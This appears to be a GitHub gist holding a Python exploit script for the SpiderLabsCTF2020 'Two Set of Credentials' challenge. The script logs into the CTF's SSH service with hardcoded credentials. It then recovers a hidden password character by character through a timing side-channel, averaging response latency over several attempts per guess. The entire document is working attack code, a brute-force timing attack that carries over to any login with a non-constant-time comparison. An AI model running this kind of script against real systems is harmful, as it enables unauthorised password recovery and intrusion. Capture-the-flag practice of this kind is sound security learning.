Created
August 9, 2020 00:56
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Two Set of Credentials exploit script for SpiderLabsCTF2020
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import paramiko | |
import sys | |
import string | |
import datetime | |
def test_password(password): | |
try: | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
ssh.connect('spiderlabsctf.com', username='vault', password='vault', port=7171) | |
buff = b"" | |
s = ssh.invoke_shell() | |
s.setblocking(1) | |
s.send(f'{password}\n'.encode()) | |
a = datetime.datetime.now() | |
empty_counter = 0 | |
while (not buff.endswith(b'system\r\n')): | |
resp = s.recv(64) | |
buff += resp | |
b = datetime.datetime.now() | |
# millis = int(round(time.time() * 1000)) | |
s.close() | |
return (b - a).total_seconds() * 1000 | |
except Exception: | |
raise | |
base = "L" | |
for i in range(0,12): | |
latencies = [] | |
for char in string.printable[:-6]: | |
average = 0 | |
for j in range(0,8): | |
char = char.rstrip() | |
char = char.rstrip("\t") | |
payload = base + char | |
time = test_password(payload.ljust(12,"A")) | |
average += time | |
average = average/8 | |
print(f"{payload.ljust(12,'A')} -- {average}") | |
latencies.append({"char": char , "delay":average}) | |
latencies = sorted(latencies, key=lambda k: k['delay']) | |
base += latencies[-1]['char'] | |
print(f"[*] Guessed: {base}") |
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